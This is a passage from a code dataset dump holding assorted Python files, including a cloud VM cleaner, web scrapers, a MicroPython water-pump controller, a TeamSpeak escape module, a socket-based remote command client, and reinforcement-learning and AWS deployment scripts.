@functools.wraps(func)\n def wrapper(*args, **kwargs):\n for i in range(max_attempts):\n try:\n return func(*args, **kwargs)\n except excs as exc:\n if i == max_attempts-1:\n raise\n else:\n if hasattr(func, 'func_name'): # Python 2\n name = func.func_name\n else: # Python 3\n name = func.__name__\n logging.error(\"%s failed with %r\", name, exc)\n return wrapper\n return decorate\n\n\ndef get_token(username, api_key):\n auth = {\n \"RAX-KSKEY:apiKeyCredentials\": {\n \"username\": username,\n \"apiKey\": api_key\n }\n }\n headers = {\n 'Content-type': 'application/json'\n }\n data = {\n 'auth': auth\n }\n\n req = requests.post(OS_AUTH_URL + '/tokens', headers=headers, json=data)\n req.raise_for_status()\n\n return req.json()\n\n\ndef get_service_catalog_from_token(token):\n return token['access']['serviceCatalog']\n\n\ndef list_compute_endpoints(service_catalog):\n compute_endpoints = {}\n\n for endpoints in service_catalog:\n if endpoints['type'] == 'compute':\n for endpoint in endpoints['endpoints']:\n compute_endpoints[endpoint['region']] = endpoint['publicURL']\n\n return compute_endpoints\n\n\ndef _req(method, url):\n headers = {\n 'X-Auth-Token': TOKEN_ID,\n 'Content-type': 'application/json'\n }\n req = requests.request(method, url, headers=headers, timeout=4.0)\n req.raise_for_status()\n\n logging.info(\"HTTP %s to %s took %d ms\", method.upper(), req.url,\n req.elapsed.microseconds/1000)\n\n # \"204 No Content\" has obviously no body\n if req.status_code != 204:\n return req.json()\n\n\n@retry(EXC_TO_RETRY, 3)\ndef list_cloud_servers_by_endpoint(compute_endpoint):\n url = \"%s/servers/detail\" % compute_endpoint\n return _req('get', url)['servers']\n\n\ndef list_all_cloud_servers(compute_endpoints):\n servers = []\n pool = eventlet.GreenPool()\n\n def worker(region, endpoint):\n for srv in list_cloud_servers_by_endpoint(endpoint):\n servers.append((region, srv))\n\n for region, endpoint in compute_endpoints.items():\n pool.spawn(worker, region, endpoint)\n\n pool.waitall()\n return servers\n\n\ndef get_server_creation_time_delta(server):\n now = datetime.datetime.now(tz=iso8601.iso8601.UTC)\n abs_created = iso8601.parse_date(server['created'])\n return now - abs_created\n\n\ndef list_users():\n url = OS_AUTH_URL + '/users'\n\n return {\n user['id']: user['username'] for user in _req('get', url)['users']\n }\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"Look for old VMs and optionnaly delete them.\")\n parser.add_argument(\"--verbose\", action=\"store_true\",\n help=\"Make output verbose\")\n parser.add_argument(\"--delete\", action=\"store_true\",\n help=\"Delete old VMs instead of just listing them\")\n parser.add_argument(\"--duration\", required=False, default=3*60, type=int,\n help=\"Duration, in minutes, after which a VM is \"\n \"considered old. (default: 180)\")\n parser.add_argument(\"--rax-username\", action=EnvDefault,\n envvar='RAX_USERNAME', required=True,\n help=\"Rackspace Cloud username (e.g rayenebenrayana). \"\n \"(default: env['RAX_USERNAME']\")\n parser.add_argument(\"--rax-api-key\", action=EnvDefault,\n envvar='RAX_API_KEY', required=True,\n help=\"Rackspace Cloud API Key. \"\n \"(default: env['RAX_API_KEY'])\")\n\n return parser.parse_args()\n\n\ndef delete_server_if_name_matches(server):\n def get_server_url(server):\n for link in server['links']:\n if link['rel'] == 'self':\n return link['href']\n raise AttributeError(\"No URL to server found.\")\n\n if server['name'].startswith('build-'):\n url = get_server_url(server)\n logging.info('Going to delete server %s at %s',\n server['name'], url)\n _req('delete', url)\n\n\ndef main():\n global TOKEN_ID\n\n args = parse_args()\n\n log_level = logging.INFO if args.verbose else logging.WARNING\n logging.basicConfig(\n format='%(levelname)s:%(name)s:%(asctime)s:%(message)s',\n level=log_level\n )\n\n token = get_token(args.rax_username, args.rax_api_key)\n service_catalog = get_service_catalog_from_token(token)\n compute_endpoints = list_compute_endpoints(service_catalog)\n\n TOKEN_ID = token['access']['token']['id']\n\n # Uncomment the following line to print the current `USERID_TO_USERNAME`\n # mapping. You need to have an admin token to do that.\n # import pprint; pprint.pprint(list_users())\n\n def get_and_process_old_servers(compute_endpoints):\n old_servers = []\n for region, srv in list_all_cloud_servers(compute_endpoints):\n if get_server_creation_time_delta(srv).seconds > args.duration*60:\n old_servers.append({\n 'name': srv['name'],\n 'region': region,\n 'owner': USERID_TO_USERNAME.get(srv['user_id'], 'Unknown'),\n 'created': humanize.naturaltime(\n get_server_creation_time_delta(srv))\n })\n if args.delete:\n delete_server_if_name_matches(srv)\n\n return old_servers\n\n old_servers = get_and_process_old_servers(compute_endpoints)\n if old_servers:\n print(tabulate.tabulate(old_servers, headers=\"keys\"))\n\n sys.exit(0)\n\nif __name__ == \"__main__\":\n logging.getLogger(\"requests.packages.urllib3\").setLevel(logging.WARNING)\n requests.packages.urllib3.disable_warnings()\n main()\n","sub_path":"vmcleaner/vm_cleaner.py","file_name":"vm_cleaner.py","file_ext":"py","file_size_in_byte":8573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"81458498","text":"'''\r\nFunctions included\r\n- Find sublinks\r\n- Find headlines\r\n- Find stories\r\n'''\r\nimport parsel as pr\r\n\r\ndef get_suburls(html_path, logger):\r\n logger.debug('Processing the HTML found in \\n{}'.format(html_path))\r\n \r\n with open(html_path, 'r', encoding = 'utf-8') as html_file:\r\n html_content = html_file.read()\r\n \r\n sel = pr.Selector(html_content)\r\n \r\n links = sel.xpath('//a[contains(@class, \"badge\")]/@href').extract()\r\n return ['http://www.mirror.co.uk' + link for link in links]\r\n\r\ndef extract_headlines(html_content):\r\n '''\r\n Extract headlines from Mirror HTML content\r\n '''\r\n sel = pr.Selector(html_content)\r\n articles_info = {}\r\n \r\n \r\n # Note that we can get headline descriptions even though not present on page - seems all page styles are the same\r\n article = sel.xpath('//div[@class = \"teaser\"]')\r\n\r\n article_titles = article.xpath('.//strong/a/text()').extract()\r\n article_links = article.xpath('.//strong/a/@href').extract()\r\n article_summaries = article.xpath('.//div[@class = \"description\"]/a/text()').extract()\r\n article_images = article.xpath('.//img/@data-src').re('(\\/[^\\./]*\\.[A-z]*$|\\/[^\\./]*$|^#$)') # NOTE that sometimes we have empty pic / removed .jpg part\r\n article_dates = ''\r\n \r\n # Now combine into dictionaries\r\n for i, title in enumerate(article_titles):\r\n if article_summaries[i]:\r\n article_summaries[i] = article_summaries[i].strip()\r\n\r\n article_info = {\r\n 'article_title' : title.strip(),\r\n 'article_link' : article_links[i],\r\n 'article_summary' : article_summaries[i],\r\n 'article_image' : article_images[i].replace('_', '').replace('\\..*$', '').replace('_', ' '),\r\n 'article_date' : article_dates\r\n }\r\n\r\n articles_info['article_{}'.format(i + 1)] = article_info\r\n \r\n return articles_info\r\n\r\ndef get_text(story_path, logger):\r\n '''\r\n Function that will retrieve the story text from HTML\r\n NOTE that must do in order\r\n text, author, date, twitter, keywords\r\n '''\r\n logger.debug('Loading the HTML...')\r\n with open(story_path, 'r') as story_file:\r\n html_content = story_file.read()\r\n\r\n sel = pr.Selector(html_content)\r\n\r\n # Get the main text - and then join everything up - note that join on blank to replace with . later\r\n story_body = sel.xpath('//p//text() | //span[@class = \"caption\"]/text()').extract()\r\n story_text = ''.join(story_body)\r\n\r\n story_author = sel.xpath('//meta[@property = \"article:author\"]/@content').extract_first()\r\n\r\n story_date = sel.xpath('//meta[@property = \"article:published_time\"]/@content').extract_first()\r\n \r\n # Twitter is blank\r\n story_twitter = ''\r\n \r\n story_keywords = sel.xpath('//meta[@name = \"keywords\"]/@content').extract()\r\n\r\n # Return in this order specifically\r\n return story_text, story_author, story_date, story_twitter, story_keywords","sub_path":"Back_ups/football_functions_v2/source_specific/mirror/process_html.py","file_name":"process_html.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503460229","text":"\"\"\"\nNode type Water main.py file.\nDevelopment version, for production use minified main.py\nin water-firmware/main.py\n\nAuthor: Shanmugathas Vigneswaran\nemail: vigneswaran.shanmugathas@outlook.fr\n\"\"\"\n\nimport gc\nimport ujson\nimport time\nimport _thread\nfrom ST7735 import TFT\nfrom sysfont import sysfont\nfrom umqtt.robust import MQTTClient\n\nfrom settings import tft\nfrom settings import MQTT_SERVER\nfrom settings import MQTT_PORT\nfrom settings import WIFI_SSID\nfrom settings import __water_firmware_version__\n\nfrom water_io import read_sensors\nfrom water_io import water_pump_relay\nfrom water_io import nutrient_pump_relay\nfrom water_io import ph_downer_pump_relay\n\ngc.enable()\n\nNODE_TYPE = \"water\"\n_SENSOR_TOPIC = NODE_TYPE + \"/sensor\"\n_CONTROLLER_TOPIC = NODE_TYPE + \"/controller\"\n_TFT = tft\n\nregistered = False\nflow_dict = {\n \"current\": {\n \"water_pump_signal\": False,\n \"nutrient_pump_signal\": False,\n \"ph_downer_pump_signal\": False,\n },\n \"last\": {\n \"water_pump_signal\": False,\n \"nutrient_pump_signal\": False,\n \"ph_downer_pump_signal\": False,\n },\n \"sensors\": {},\n # if controller callback timeout\n # active soft fuse\n # soft will put all actuator security state\n # off or on : depends on actuator\n \"updated_at\": time.time(),\n 'soft_fuse': False\n}\n\n\ndef subscribe_controller():\n global flow_dict\n\n def callback(topic, msg):\n d = ujson.loads(msg)\n flow_dict['current']['water_pump_signal'] = d['water_pump_signal']\n flow_dict['current']['nutrient_pump_signal'] = d['nutrient_pump_signal']\n flow_dict['current']['ph_downer_pump_signal'] = d['ph_downer_pump_signal']\n flow_dict['updated_at'] = time.time()\n water_pump_relay.value(d['water_pump_signal'])\n nutrient_pump_relay.value(d['nutrient_pump_signal'])\n ph_downer_pump_relay.value(d['ph_downer_pump_signal'])\n\n c = MQTTClient(\n NODE_TYPE\n + \"_SUB\",\n MQTT_SERVER,\n MQTT_PORT\n )\n c.set_callback(callback)\n c.connect()\n c.subscribe(_CONTROLLER_TOPIC)\n while True:\n c.wait_msg()\n\n\ndef publish_sensors():\n global flow_dict\n\n c = MQTTClient(\n NODE_TYPE\n + \"_PUB\",\n MQTT_SERVER,\n MQTT_PORT\n )\n c.connect()\n while True:\n s = read_sensors()\n flow_dict['sensors'] = s\n c.publish(_SENSOR_TOPIC, s['influx_message'])\n\n\ndef init_display():\n global _TFT\n wifi_ssid = WIFI_SSID\n if len(wifi_ssid) >= 14:\n wifi_ssid = WIFI_SSID[0:14]\n _TFT.fill(TFT.BLACK)\n _TFT.fillrect((0, 0), (128, 50), TFT.WHITE)\n _TFT.text((2, 2), \"Wifi:\" + wifi_ssid, TFT.BLACK, sysfont, 1.1, nowrap=False)\n _TFT.text((2, 10), \"Node:\" + NODE_TYPE, TFT.BLACK, sysfont, 1.1, nowrap=False)\n\n\ndef update_display():\n global _TFT, flow_dict\n while True:\n # Flush dynamic part of screen\n _TFT.fillrect((0, 50), (128, 160), TFT.GRAY)\n if flow_dict['current']['water_pump_signal']:\n _TFT.fillrect((110, 50), (20, 10), TFT.GREEN)\n _TFT.text((2, 50), \"Water pump on\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n else:\n _TFT.fillrect((110, 50), (20, 10), TFT.RED)\n _TFT.text((2, 50), \"Water pump off\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n\n if flow_dict['current']['nutrient_pump_signal']:\n _TFT.fillrect((110, 60), (20, 10), TFT.GREEN)\n _TFT.text((2, 60), \"Nutr. pump on\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n else:\n _TFT.fillrect((110, 60), (20, 10), TFT.RED)\n _TFT.text((2, 60), \"Nutr. pump off\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n\n if flow_dict['current']['ph_downer_pump_signal']:\n _TFT.fillrect((110, 70), (20, 10), TFT.GREEN)\n _TFT.text((2, 70), \"pH pump on\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n else:\n _TFT.fillrect((110, 70), (20, 10), TFT.RED)\n _TFT.text((2, 70), \"pH pump off\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n\n _TFT.text((2, 80), \"Water Level:\" + str(flow_dict['sensors']['water_level']) + \"%\",\n TFT.BLACK, sysfont, 1.1, nowrap=False)\n _TFT.text((2, 90), \"pH:\" + str(flow_dict['sensors']['ph']), TFT.BLACK, sysfont, 1.1, nowrap=False)\n _TFT.text((2, 100), \"EC:\" + str(flow_dict['sensors']['ec']) + \"ppm\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n _TFT.text((2, 110), \"ORP:\" + str(flow_dict['sensors']['orp']) + \"mV\", TFT.BLACK, sysfont, 1.1, nowrap=False)\n if flow_dict['soft_fuse']:\n _TFT.text((2, 120), \"Soft fuse !\", TFT.RED, sysfont, 1.1, nowrap=False)\n _TFT.text((2, 150), __water_firmware_version__,\n TFT.BLACK, sysfont, 1.1, nowrap=False)\n gc.collect()\n\n\ndef soft_fuse():\n global flow_dict\n while True:\n if (time.time() - flow_dict['updated_at']) > 1:\n water_pump_relay.value(False)\n nutrient_pump_relay.value(False)\n ph_downer_pump_relay.value(False)\n flow_dict['current']['water_pump_signal'] = False\n flow_dict['current']['nutrient_pump_signal'] = False\n flow_dict['current']['ph_downer_pump_signal'] = False\n flow_dict['soft_fuse'] = True\n else:\n flow_dict['soft_fuse'] = False\n\n\ninit_display()\n\n# =================================\n# Subscription to controller\n# =================================\n_thread.start_new_thread(subscribe_controller, ())\n\n# =================================\n# Subscription to controller\n# =================================\n_thread.start_new_thread(publish_sensors, ())\n\n# =================================\n# Update TFT screen\n# =================================\n_thread.start_new_thread(update_display, ())\n\n# =================================\n# Soft fuse loop\n# =================================\n_thread.start_new_thread(soft_fuse, ())\n","sub_path":"main_water.py","file_name":"main_water.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"62041496","text":"#!/usr/bin/env python3\n\n# The MIT License (MIT)\n#\n# Copyright (c) 2013-2018 \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\n# the Software, and to permit persons to whom the Software is furnished to do so,\n# subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\"\"\"\n:mod:`ts3.escape`\n=================\n\nThis module contains classes and functions used to build valid query strings\nand to unescape responses.\n\n.. versionchanged:: 2.0.0\n\n The *TS3Escape* class has been replaced by the :func:`escape` and\n :func:`unescape` functions, because most of its methods became\n obsolete with the introduction of the :class:`TS3QueryBuilder`.\n\"\"\"\n\n__all__ = [\n \"escape\",\n \"unescape\"\n]\n\n\n# Table with escape strings.\n# DO NOT CHANGE THE ORDER, IF YOU DON'T KNOW, WHAT YOU'RE DOING.\n_ESCAPE_MAP = [\n (\"\\\\\", r\"\\\\\"),\n (\"/\", r\"\\/\"),\n (\" \", r\"\\s\"),\n (\"|\", r\"\\p\"),\n (\"\\a\", r\"\\a\"),\n (\"\\b\", r\"\\b\"),\n (\"\\f\", r\"\\f\"),\n (\"\\n\", r\"\\n\"),\n (\"\\r\", r\"\\r\"),\n (\"\\t\", r\"\\t\"),\n (\"\\v\", r\"\\v\")\n ]\n\n\ndef escape(value):\n \"\"\"\n Escapes the *value* as required by the Server Query Manual:\n\n .. code-block:: python\n\n >>> escape('Hello World')\n 'Hello\\\\sWorld'\n >>> escape('TeamSpeak ]|[ Server')\n 'TeamSpeak\\s]\\p[\\sServer'\n\n :arg str value: The value to escape.\n\n :rtype: str\n :return: The escaped version of the value.\n\n :raises TypeError: if *value* is not a string.\n\n :seealso: :func:`unescape`\n \"\"\"\n # The order of the replacement is important.\n for char, repl_char in _ESCAPE_MAP:\n value = value.replace(char, repl_char)\n return value\n\n\ndef unescape(value):\n \"\"\"\n Undo the escaping used for transport:\n\n .. code-block:: python\n\n >>> unescape('Hello\\\\sWorld')\n 'Hello World'\n >>> unescape('TeamSpeak\\s]\\p[\\sServer')\n 'TeamSpeak ]|[ Server'\n \"\"\"\n # The order of the replacement is important.\n for repl_char, char in reversed(_ESCAPE_MAP):\n value = value.replace(char, repl_char)\n return value\n","sub_path":"ts3/escape.py","file_name":"escape.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"449995105","text":"#coding: utf-8\n\nimport socket\nimport threading\nimport shell\n\nfrom threading import Thread\n\nDEFALUT_HOST = '127.0.0.1'\nDEFALUT_PORT = 12345\n\ndef main():\n host, port = set_server_address()\n\n if not host:\n return 0\n\n try:\n Client().start(host, port)\n\n except ConnectionRefusedError:\n print('Conexão recusada.')\n\n return 0\n\ndef set_server_address():\n host = input('HOST[%s]: ' % DEFALUT_HOST)\n port = input('PORT[%d]: ' % DEFALUT_PORT)\n print()\n\n if (host == ''):\n host = DEFALUT_HOST\n\n if (port == ''):\n port = DEFALUT_PORT\n else:\n try:\n port = int(port)\n except ValueError:\n print ('Porta inválida.')\n return None, None\n\n return host, port\n\nclass Client:\n\n def __init__(self):\n self.__socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.__lock = threading.Condition()\n self.__reply = None\n self.__mode = 'remote'\n self.__directory = None\n\n def start(self, host, port):\n self.__socket.connect((host,port))\n print('Conexão estabelecida com o servidor %s na porta %d.\\nUse \"_exit\" para encerrar a conexão ou \"Ctrl+C\".\\n\\n' % (host,port))\n\n self.__lock.acquire()\n Thread(target=self.__send_comand, args=()).start()\n\n self.__get_reply()\n print()\n\n def __recv(self):\n if (self.__mode == 'local'):\n self.__lock.acquire()\n self.__lock.wait()\n self.__lock.release()\n\n output = None\n erro = None\n\n output, erro, self.__directory = shell.executar_comando(self.__reply, self.__directory)\n\n if (erro):\n return ('%s:%s[-.x.-]%s' % (socket.gethostname(), self.__directory, erro.decode()))\n elif (output):\n return ('%s:%s[-.x.-]%s' % (socket.gethostname(), self.__directory, output.decode()))\n else:\n return ('%s:%s[-.x.-] ' % (socket.gethostname(), self.__directory))\n else:\n try:\n output = self.__socket.recv(1024).decode().split('[-.x.-]')\n\n tamTotal = int(output[1])\n tam = 1024 - (len(output[0]) + len(output[1]))\n\n data = output[2]\n\n while (tam < tamTotal):\n data += self.__socket.recv(1024).decode()\n tam += 1024\n\n return (('%s[-.x.-]%s') % (output[0], data))\n except IndexError:\n return None\n\n def __get_reply(self):\n try:\n self.__socket.send('_start'.encode())\n output = self.__socket.recv(1024).decode()\n\n self.__reply = output[:-1] + '$ '\n\n self.__lock.release()\n\n while(True):\n output = self.__recv()\n\n if not output:\n if (self.__mode == 'end'):\n break\n else:\n import os\n\n self.__close()\n self.__mode = 'local'\n self.__directory = os.getcwd() + '/'\n\n print('\\n\\nConexão perdida.\\nAlternando para o modo de execução local.\\n')\n\n print ('%s:%s$ ' % (socket.gethostname(), self.__directory[:-1] + '$ '))\n\n continue\n\n output = output.split('[-.x.-]')\n\n print('\\n' + output[1])\n\n self.__reply = output[0][:-1] + '$ '\n\n self.__lock.acquire()\n self.__lock.notify()\n self.__lock.release()\n\n except KeyboardInterrupt:\n if (self.__mode != 'local'):\n self.__socket.send('_exit'.encode())\n finally:\n self.__close()\n\n def __send_comand(self):\n try:\n self.__lock.acquire()\n\n comando = input(self.__reply)\n\n self.__lock.release()\n\n while (comando != '_exit'):\n\n if (comando == 'clear'):\n import os\n os.system('clear')\n\n elif(comando != ''):\n self.__send(comando)\n\n self.__lock.acquire()\n self.__lock.wait()\n self.__lock.release()\n\n comando = input(self.__reply)\n\n self.__socket.send(comando.encode())\n self.__mode = 'end'\n\n except KeyboardInterrupt:\n pass\n\n def __send(self, comando):\n if (self.__mode == 'local'):\n self.__reply = comando\n self.__lock.acquire()\n self.__lock.notify()\n self.__lock.release()\n else:\n self.__socket.send(comando.encode())\n\n def __close(self):\n if (self.__mode != 'local'):\n self.__socket.close()\n\nif __name__ == \"__main__\":\n import os\n os._exit(main())\n","sub_path":"Comandos Remotos/cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":4920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"228825466","text":"import docker\r\n\r\n\"\"\"\r\nPulls all the PARSEC job images and creates an image with the corresponding job name.\r\n\"\"\"\r\n\r\n#list all parsec jobs and their tag\r\nfft = \"anakli/parsec:splash2x-fft-native-reduced\"\r\nfreqmine = \"anakli/parsec:freqmine-native-reduced\"\r\nferret = \"anakli/parsec:ferret-native-reduced\"\r\ncanneal = \"anakli/parsec:canneal-native-reduced\"\r\ndedup = \"anakli/parsec:dedup-native-reduced\"\r\nblackscholes = \"anakli/parsec:blackscholes-native-reduced\"\r\n\r\nparsec_jobs = [fft, freqmine, ferret, canneal, dedup, blackscholes]\r\nparsec_names = [\"fft\", \"freqmine\", \"ferret\", \"canneal\", \"dedup\", \"blackscholes\"]\r\n\r\nclient = docker.from_env()\r\n\r\nfor container in parsec_jobs:\r\n client.images.pull(container)\r\n\r\n#create an image for all jobs\r\nfor job in parsec_jobs:\r\n name = parsec_names[0]\r\n temp = client.containers.create(job, name=name)\r\n parsec_names.pop(0)","sub_path":"part4/pull_imgs.py","file_name":"pull_imgs.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"609044833","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport urllib.request, urllib.parse, urllib.error\nfrom bs4 import BeautifulSoup\n\n# 获取标签链接\ndef label_url(href):\n page_n = urllib.request.urlopen(href).read()\n soup_n = BeautifulSoup(page_n, 'html.parser')\n label = soup_n.find_all(\"ul\", class_=\"accordion-3\")\n href_f = label[0].contents\n href_n = []\n for i in href_f:\n if i.name == \"li\":\n j = i.contents[1].get(\"href\") # 获取a标签的href链接\n href_n.append(j)\n print(\"OK I got all the title_url!\")\n print(href_n)\n return href_n\n\n# href_n = label_url(\"http://www.poly.com.cn/1076.html\")\n# print(href_n)","sub_path":"poly_spider/get_label.py","file_name":"get_label.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"557162893","text":"import time\n\n\n# Run blocking method in 1 thread\ndef count_down(count):\n print(\"Start counting down from {} to 0\".format(count))\n while count >= 0:\n print(\"Counting down buddy! {}\".format(count))\n count -= 1\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n count_down(10)\n count_down(5)\n print(\"All done\")\n","sub_path":"pure_python_part/blocking.py","file_name":"blocking.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"239902799","text":"# Definition for a undirected graph node\n# class UndirectedGraphNode:\n# def __init__(self, x):\n# self.label = x\n# self.neighbors = []\n\nclass Solution:\n def traverse(self, node):\n visited = set([node])\n q = [node]\n while len(q) > 0:\n front = q.pop(-1)\n for n in front.neighbors:\n if n not in visited:\n visited.add(n)\n q.append(n)\n return list(visited)\n \n # @param node, a undirected graph node\n # @return a undirected graph node\n def cloneGraph(self, node):\n if node is None:\n return None\n nodes = self.traverse(node)\n cloneNodes = []\n M = {}\n for n in nodes:\n cloneNodes.append(UndirectedGraphNode(n.label))\n M[n] = cloneNodes[-1]\n for n in nodes:\n M[n].neighbors = [M[e] for e in n.neighbors]\n return M[node]","sub_path":"leetcode/clone-graph.py","file_name":"clone-graph.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"96151197","text":"import matplotlib.pyplot as plt\nimport torch\nimport random\nimport time\nimport logging\n\nfrom utils import utils\n\nfrom game.globals import CONST\nfrom game.globals import Globals\nfrom rl.td_lambda_learning import td_lambda_learning\n\n\n# The logger\nutils.init_logger(logging.DEBUG, file_name=\"log/tic_tac_toe.log\")\nlogger = logging.getLogger('TD_Lambda')\n\n\n# set the random seed\nrandom.seed(a=None, version=2)\n\n\n# define the parameters\nepoch_count = 2000 # the number of epochs to train the neural network 1000 ~ 100'000 episodes ~ 25min\nepisode_count = 100 # the number of games that are self-played in one epoch\ntest_interval = 10 # epoch intervals at which the network plays against a random player\ntest_game_count = 1000 # the number of games that are played in the test against the random opponent\nepsilon = 0.1 # the exploration constant\nlambda_param = 0.6 # the lambda parameter in TD(lambda)\ndisc = 0.9 # the discount factor\nlearning_rate = 0.01 # the learning rate of the neural network\nbatch_size = 32 # the batch size of the experience buffer for the neural network training\nexp_buffer_size = 10000 # the size of the experience replay buffer\n\n# define the devices for the training and the target networks cpu or cuda, here cpu is way faster for small nets\nGlobals.device = torch.device('cpu')\n\n\n# create the agent\nagent = td_lambda_learning.Agent(learning_rate, epsilon, disc, lambda_param, batch_size, exp_buffer_size)\n\n\n# to plot the fitness\nepisodes = []\nfitness_white = []\nfitness_black = []\n\n\nstart_training = time.time()\nfor i in range(epoch_count):\n \n ###### evaluation: let the agent play against a random test opponent\n if i % test_interval == 0:\n logger.info(\"start evaluating the network in epoch {}\".format(i))\n white_score = agent.play_against_random(CONST.WHITE, test_game_count)\n logger.info(\"white score rate after {} epochs: {}\".format(i, white_score))\n \n black_score = agent.play_against_random(CONST.BLACK, test_game_count)\n logger.info(\"black score rate after {} epochs: {}\".format(i, black_score))\n\n episodes.append(i*episode_count)\n fitness_white.append(white_score)\n fitness_black.append(black_score)\n \n \n ###### self play and update: create some game data through self play\n # logger.info(\"start playing games in epoch {}\".format(i))\n for _ in range(episode_count):\n # play one self-game\n agent.play_self_play_game()\n\n # update the neural network\n agent.td_update()\n \n \n \n ###### refresh the eligibility traces\n # logger.info(\"sync neural networks in epoch {}\".format(i)) \n agent.update_eligibilities(lambda_param, disc)\n\n\nend_training = time.time()\ntraining_time = end_training - start_training\nlogger.info(\"elapsed time whole training process {} for {} episodes\".format(training_time, epoch_count*episode_count))\n\n# save the currently trained neural network\ntorch.save(agent.network, \"ticTacToeSelfPlay.pt\")\n\n\n# plot the results\nfig2 = plt.figure(2)\naxes = plt.gca()\naxes.set_ylim([0, 1])\n\nplt.plot(episodes, fitness_white, label=\"white\")\nplt.plot(episodes, fitness_black, label=\"black\")\nplt.legend(loc='best')\n\n\nplt.title(\"Self-Play Training Progress\") \nplt.xlabel(\"Episode\")\nplt.ylabel(\"Average score against random player\")\nfig2.show()\nplt.show()\n\n\n","sub_path":"rl/td_lambda_learning/MainSelfPlayTraining.py","file_name":"MainSelfPlayTraining.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"399109454","text":"from aws.eb import EB\nfrom misc.helper2 import get_script_name_from_python_file, Helper2\nfrom misc.utils import prompt_answer\nfrom aws import DEFAULT_PROFILE, DEFAULT_REGION\nimport argparse\nfrom aws.procfile import Procfile\n\nclass CopyEnvEB(EB):\n def parse_args(self):\n if Helper2().uncommited_changes():\n raise Exception(\"Please commit your changes or stash them before you deploy.\")\n parser = argparse.ArgumentParser(prog = get_script_name_from_python_file(__file__))\n parser.add_argument('environment', nargs='?', help='name of the source environment')\n parser.add_argument('destination_environment', nargs='?', help='name of the destination environment')\n parser.add_argument('-r', '--region', help='aws region', default=DEFAULT_REGION)\n parser.add_argument('--exclude', nargs='+', help='list of environment variable names to exclude', default=[])\n parser.add_argument('-v', '--verbose', action='store_true')\n parser.add_argument('-d', '--debug', action='store_true')\n parser.add_argument('--force-authenticate', action='store_true')\n args = parser.parse_args()\n if not args.environment:\n args.environment = prompt_answer('Enter aws source environment name: ')\n if not args.destination_environment:\n args.destination_environment = prompt_answer('Enter aws destination environment name: ')\n return [args, None]\n\n def command(self):\n env_vars = self.get_environment_variables()\n option_settings = []\n env_vars_str = {str(k): str(v) for k, v in env_vars.items()}\n for key in env_vars_str:\n if key == 'DATABASE_URL':\n continue\n if key not in self.args.exclude:\n option_settings.append({\n 'OptionName': key,\n 'Namespace': 'aws:elasticbeanstalk:application:environment',\n 'Value': env_vars_str[key]\n })\n\n self.copy_environment_variables(option_settings)\n return ['']\n\n def copy_environment_variables(self, option_settings):\n app_name = self.project_name()\n env_name = EB.environment_name(app_name, self.args.destination_environment)\n env_details = EB.describe_environments(self.project_name(), [env_name])\n if not env_details['Environments']:\n raise Exception(\"Given environment '\"+self.args.destination_environment+\"' is not present on AWS EB for cluster '\"+env_name+\"'\")\n self.logger.info('Updating environment variables for ' + env_name)\n EB.update_environment(app_name, env_name, option_settings)\n self.logger.info(' AWS web URL to monitor environment update status: ')\n self.logger.info(' https://' + self.region() + '.console.aws.amazon.com/elasticbeanstalk/home?region=' +\n self.region() + '#/environment/dashboard?applicationName=' + app_name + '&environmentId=' +\n env_details['Environments'][0]['EnvironmentId'])\n\ndef run():\n CopyEnvEB().run()\n\nif __name__ == '__main__':\n run()\n","sub_path":"lib/copy_env_eb.py","file_name":"copy_env_eb.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"379607535","text":"import json\nimport re\n\npath = 'eu.json'\n\ndata= ''\n\nwith open(path, 